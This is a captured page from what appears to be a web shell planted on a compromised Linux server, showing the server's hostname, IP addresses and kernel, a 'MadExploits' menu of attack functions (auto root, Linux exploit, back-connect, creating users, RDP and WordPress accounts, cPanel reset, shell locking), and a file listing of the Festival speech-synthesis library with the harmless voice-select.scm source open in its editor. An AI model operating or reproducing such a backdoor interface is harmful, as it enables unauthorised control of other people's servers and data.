Linux server.flyproject.com.br 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
Apache
: 207.244.227.86 | : 216.73.217.1
10 Domain
7.1.33
hubnog
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
festival /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
dicts
[ DIR ]
drwxr-xr-x
etc
[ DIR ]
drwxr-xr-x
multisyn
[ DIR ]
drwxr-xr-x
voices
[ DIR ]
drwxr-xr-x
Sable.v0_2.dtd
6.3
KB
-rw-r--r--
Singing.v0_1.dtd
872
B
-rw-r--r--
alias_cmu_to_nitech.scm
1.43
KB
-rw-r--r--
apml.scm
16.97
KB
-rw-r--r--
apml_f2bf0lr.scm
25.43
KB
-rw-r--r--
apml_kaldurtreeZ.scm
35.11
KB
-rw-r--r--
cap-signalization.scm
2.6
KB
-rw-r--r--
cart_aux.scm
6.12
KB
-rw-r--r--
clunits.scm
10.27
KB
-rw-r--r--
clunits_build.scm
15.74
KB
-rw-r--r--
cmusphinx2_phones.scm
5.15
KB
-rw-r--r--
cslush.scm
3.88
KB
-rw-r--r--
cstr.scm
4.66
KB
-rw-r--r--
darpa_phones.scm
5.2
KB
-rw-r--r--
display.scm
3.73
KB
-rw-r--r--
duration.scm
7.31
KB
-rw-r--r--
email-mode.scm
4.14
KB
-rw-r--r--
engmorph.scm
5.79
KB
-rw-r--r--
engmorphsyn.scm
5.82
KB
-rw-r--r--
events.scm
12.3
KB
-rw-r--r--
f2bdurtreeZ.scm
33.35
KB
-rw-r--r--
f2bf0lr.scm
11.52
KB
-rw-r--r--
festdoc.scm
7.46
KB
-rw-r--r--
festival.el
10.84
KB
-rw-r--r--
festival.scm
23.72
KB
-rw-r--r--
festtest.scm
3.56
KB
-rw-r--r--
fileio.scm
2.8
KB
-rw-r--r--
fringe.scm
4.15
KB
-rw-r--r--
gswdurtreeZ.scm
34.55
KB
-rw-r--r--
holmes_phones.scm
5.32
KB
-rw-r--r--
hts.scm
17.37
KB
-rw-r--r--
init.scm
6.17
KB
-rw-r--r--
intonation.scm
7.74
KB
-rw-r--r--
java.scm
2.5
KB
-rw-r--r--
klatt_durs.scm
3.2
KB
-rw-r--r--
languages.scm
4.8
KB
-rw-r--r--
lexicons.scm
10.06
KB
-rw-r--r--
lts.scm
7.61
KB
-rw-r--r--
lts_build.scm
20.12
KB
-rw-r--r--
mbrola.scm
4.6
KB
-rw-r--r--
mettree.scm
3.72
KB
-rw-r--r--
module_description.scm
4.45
KB
-rw-r--r--
mrpa_allophones.scm
4.85
KB
-rw-r--r--
mrpa_durs.scm
3.85
KB
-rw-r--r--
mrpa_phones.scm
4.79
KB
-rw-r--r--
multiwave.scm
2.5
KB
-rw-r--r--
nopauses.scm
1.33
KB
-rw-r--r--
ogimarkup-mode.scm
7.79
KB
-rw-r--r--
oo.scm
5.46
KB
-rw-r--r--
pauses.scm
8.55
KB
-rw-r--r--
phoneset.scm
5.22
KB
-rw-r--r--
phrase.scm
6.72
KB
-rw-r--r--
pos.scm
9.02
KB
-rw-r--r--
postlex.scm
21.09
KB
-rw-r--r--
prosody-param.scm
8.76
KB
-rw-r--r--
punctuation.scm
6.08
KB
-rw-r--r--
radio_phones.scm
5.37
KB
-rw-r--r--
recode.scm
1.65
KB
-rw-r--r--
sable-latin.ent
7.93
KB
-rw-r--r--
sable-mode.scm
20.73
KB
-rw-r--r--
scfg.scm
3.18
KB
-rw-r--r--
scfg_wsj_wp20.gram
15.81
KB
-rw-r--r--
sec.B.hept.ngrambin
545
B
-rw-r--r--
sec.ts20.quad.ngrambin
33.57
KB
-rw-r--r--
singing-mode.scm
16.07
KB
-rw-r--r--
siod.scm
17.54
KB
-rw-r--r--
soleml-mode.scm
12.2
KB
-rw-r--r--
speech-dispatcher.scm
7.49
KB
-rw-r--r--
speech.properties
88
B
-rw-r--r--
spell-mode.scm
1.81
KB
-rw-r--r--
ssml-mode.scm
22.52
KB
-rw-r--r--
synthesis.scm
14.48
KB
-rw-r--r--
tilt.scm
30.79
KB
-rw-r--r--
tobi.scm
22.79
KB
-rw-r--r--
tobi_rules.scm
34.61
KB
-rw-r--r--
token.scm
22.86
KB
-rw-r--r--
tokenize.scm
5.73
KB
-rw-r--r--
tokenpos.scm
9.82
KB
-rw-r--r--
tts.scm
10.92
KB
-rw-r--r--
unilex_phones.scm
7.73
KB
-rw-r--r--
util.scm
6.43
KB
-rw-r--r--
voice-select.scm
6.75
KB
-rw-r--r--
voices.scm
13.04
KB
-rw-r--r--
wave.scm
2.41
KB
-rw-r--r--
web.scm
4.13
KB
-rw-r--r--
word-mapping.scm
1.89
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : voice-select.scm
;;; Selecting voices ;; Copyright (C) 2004, 2006, 2007 Brailcom, o.p.s. ;; Author: Milan Zamazal <pdm@brailcom.org> ;; COPYRIGHT NOTICE ;; This program is free software; you can redistribute it and/or modify ;; it under the terms of the GNU General Public License as published by ;; the Free Software Foundation; either version 2 of the License, or ;; (at your option) any later version. ;; This program is distributed in the hope that it will be useful, but ;; WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ;; or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ;; for more details. ;; You should have received a copy of the GNU General Public License ;; along with this program; if not, write to the Free Software ;; Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. (require 'util) ;;; User configuration (defvar language-codes '((en english (US american) (BR british)) (cs czech) (de german) (es spanish) (fi finnish) (fr french) (hi hindi) (it italian) (mr marathi) (te telugu)) "Alist mapping ISO language codes to Festival language names. Each element of the alist is of the form (LANGUAGE-CODE LANGUAGE-NAME). Optionally, elements can have an extended form (LANGUAGE-CODE LANGUAGE-NAME . DIALECTS), where DIALECTS is a list of pairs (DIALECT-CODE DIALECT-NAME).") (defvar voice-select-defaults '((language nil) (dialect nil) (gender nil) (age nil) (variant nil) (name nil)) "Alist of default voice parameters. Each entry is of the form (NAME VALUE), where VALUE can be either the actual parameter value, or `nil' meaning the value is unspecified.") ;;; Internal functions and variables (define (voice-select-code-language code) (let* ((sep (if (string-matches code ".*_.*") "_" "-")) (lang-code (string-before code sep)) (dialect-code (string-after code sep))) (when (string-equal lang-code "") (set! lang-code code) (set! dialect-code nil)) (let* ((spec (cdr (assoc_string lang-code language-codes))) (language (car spec)) (dialect (avalue-get dialect-code (cdr spec)))) (list language dialect)))) (define (voice-property voice-name property) (avalue-get property (cadr (voice.description voice-name)))) (define (voice-select-parameter name value) (cond ((eq? value t) nil) ((eq? value nil) (avalue-get name voice-select-current-defaults)) (t value))) (define (voice-select-subset pname pvalue voices) (if pvalue (remove-if (lambda (voice-name) (not (string-equal (voice-property voice-name pname) pvalue))) voices) voices)) (define (select-voice-internal voices dialect gender age variant name) (cond ;; No voice for the given language at all ((not voices) (string-after voice_default "voice_")) ;; Name has the highest priority ((member name voices) name) ;; Let's try the best match (t (let* ((dialect-voices (voice-select-subset 'dialect dialect voices)) (gender-voices (voice-select-subset 'gender gender voices)) (matching-voices (remove-if (lambda (voice-name) (not (member voice-name gender-voices))) dialect-voices)) (variant* (read-from-string variant)) (choose-variant (lambda (voices) (or (and variant* (nth (- variant* 1) voices)) (first voices))))) ;; Select variant from what remained (age is ignored) (choose-variant (or matching-voices ;; Dialect is preferred over gender dialect-voices gender-voices voices)))))) ;;; External functions and variables (defvar voice-select-current-defaults voice-select-defaults) (define (voice-list) (let ((voices-1 (voice.list)) (voices-2 (mapcar car Voice_descriptions)) (voices '())) (while voices-2 (unless (member (car voices-2) voices-1) (push (car voices-2) voices)) (set! voices-2 (cdr voices-2))) (append voices-1 (reverse voices)))) (define (voice-list-language-codes) (let ((r-language-codes (mapcar (lambda (entry) (cons (second entry) (cons (first entry) (nth_cdr 2 entry)))) language-codes))) (mapcar (lambda (voice) (let* ((language (voice-property voice 'language)) (dialect (voice-property voice 'dialect)) (language-entry (assoc language r-language-codes)) (language-code (second language-entry)) (dialects (mapcar (lambda (entry) (list (second entry) (first entry))) (nth_cdr 2 language-entry))) (dialect-code (second (assoc dialect dialects)))) (list voice language-code dialect-code))) (voice.list)))) (define (select-voice language dialect gender age variant name) (let* ((language* (voice-select-parameter 'language language)) (dialect* (voice-select-parameter 'dialect dialect)) (gender* (voice-select-parameter 'gender gender)) (age* (voice-select-parameter 'age age)) (variant* (voice-select-parameter 'variant variant)) (name* (voice-select-parameter 'name name)) (voices (voice-select-subset 'language language* (voice-list))) (voice-name (select-voice-internal voices dialect* gender* age* variant* name*))) (voice.select voice-name) (set! voice-select-current-defaults `((language ,language*) (dialect ,dialect*) (gender ,gender*) (age ,age*) (variant ,variant*) (name ,name*))) voice-name)) (define (select-voice* lang-code gender age variant name) (let ((language-dialect (if lang-code (voice-select-code-language lang-code) '(nil nil)))) (select-voice (first language-dialect) (second language-dialect) gender age variant name))) (define (reset-voice) (set! voice-select-current-defaults voice-select-defaults) (select-voice nil nil nil nil nil nil)) (define (current-language-voices) (voice-select-subset 'dialect (avalue-get 'dialect voice-select-current-defaults) (voice-select-subset 'language (avalue-get 'language voice-select-current-defaults) (voice-list)))) (provide 'voice-select)
Close